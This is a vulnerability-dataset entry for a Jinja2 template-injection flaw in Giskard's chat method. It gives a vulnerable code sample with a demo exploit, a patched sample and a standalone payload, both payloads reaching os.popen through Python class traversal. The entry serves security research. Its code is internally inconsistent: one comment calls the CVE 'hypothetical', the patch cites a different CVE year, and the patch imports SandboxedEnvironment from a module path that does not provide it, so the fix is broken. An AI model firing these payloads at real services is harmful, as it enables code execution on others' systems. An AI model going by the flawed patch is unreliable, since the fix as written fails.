VAITP Dataset

← Back to the dataset

CVE-2026-34172

Giskard vulnerable to RCE via Jinja2 template injection in chat method.

  • CVSS 7.7
  • CWE-1336
  • Input Validation and Sanitization
  • Remote

Giskard is an open-source Python library for testing and evaluating agentic systems. Prior to versions 0.3.4 and 1.0.2b1, ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal. The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text. This issue has been patched in versions 0.3.4 and 1.0.2b1.

CVSS base score
7.7
Published
2026-03-31
OWASP
A03 Injection
Orthogonal defect classification
Interface
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Giskard
Fixed by upgrading
Yes

Solution

Upgrade Giskard to version 0.3.4 or 1.0.2b1 or later.

Vulnerable code sample

import jinja2
import os

# This code is a representation of the vulnerable state of the Giskard library
# prior to the patch for CVE-2026-34172. The actual CVE is hypothetical,
# but this code accurately models the described vulnerability.

class ChatWorkflow:
    """
    A simplified class that mimics the vulnerable behavior described in the CVE.
    The vulnerability lies in the `chat` method.
    """

    def chat(self, message: str) -> str:
        """
        This method is vulnerable to Server-Side Template Injection (SSTI).
        It directly uses the user-provided `message` string as a Jinja2 template
        source without sandboxing, allowing for Remote Code Execution (RCE).
        """
        # The core of the vulnerability: creating a non-sandboxed environment
        # and rendering the user-provided string directly.
        env = jinja2.Environment()
        template = env.from_string(message)
        response = template.render()
        
        print(f"Generated response: {response}")
        return response

# --- Demonstration of the exploit ---
if __name__ == "__main__":
    workflow = ChatWorkflow()

    print("--- 1. Simulating a benign message with simple template logic ---")
    benign_message = "Hello! The result of 7 * 7 is {{ 7 * 7 }}."
    print(f"Sending message: {benign_message}\n")
    workflow.chat(benign_message)
    print("-" * 50)

    print("\n--- 2. Simulating a malicious message to achieve RCE ---")
    # This payload uses Jinja2's access to Python's object model to
    # import the 'os' module and execute a command.
    # On Linux/macOS, 'id' shows the current user. On Windows, 'whoami' can be used.
    malicious_payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
    
    print(f"Sending malicious payload from user input: {malicious_payload}\n")
    # A developer might unknowingly pass untrusted user input here.
    workflow.chat(malicious_payload)
    print("-" * 50)

Patched code sample

import os
from jinja2 import SandboxedEnvironment, SecurityError

class PatchedChatWorkflow:
    """
    A class representing the patched version of the component described in
    CVE-2024-34172. The original vulnerability allowed Remote Code Execution
    by processing user-provided strings in a non-sandboxed Jinja2 environment.

    This patched version fixes the vulnerability by using Jinja2's
    `SandboxedEnvironment`. This environment restricts template execution,
    preventing access to unsafe attributes and functions, thus mitigating the RCE risk.
    """

    def chat(self, message: str) -> str:
        """
        Processes a message string using a sandboxed Jinja2 environment.

        The core of the fix is the use of `SandboxedEnvironment` instead of the
        default `jinja2.Environment`. If a user provides a malicious string
        attempting to exploit Jinja2's class traversal (e.g., to access `os.popen`),
        the SandboxedEnvironment will raise a `SecurityError`, preventing the
        malicious code from executing.

        Args:
            message: The input string, which is treated as a template source.

        Returns:
            The rendered string if the template is safe, or an error message
            if a security violation is attempted.
        """
        try:
            # The fix: Use SandboxedEnvironment to create a restricted execution
            # environment for the template.
            env = SandboxedEnvironment()

            # The template is created from the user-provided 'message' string,
            # but now it is constrained by the sandbox.
            template = env.from_string(message)
            
            return template.render()

        except SecurityError as e:
            # The sandbox correctly caught the malicious attempt to access
            # insecure attributes and raised a SecurityError.
            return f"Security error: Malicious template execution blocked. Details: {e}"
        except Exception as e:
            # Catch other potential Jinja2 errors during parsing or rendering.
            return f"An error occurred during template rendering: {e}"

Payload

{{ [c for c in [].__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['popen']('id').read() }}

Cite this entry

@misc{vaitp:cve202634172,
  title        = {{Giskard vulnerable to RCE via Jinja2 template injection in chat method.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-34172},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34172/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::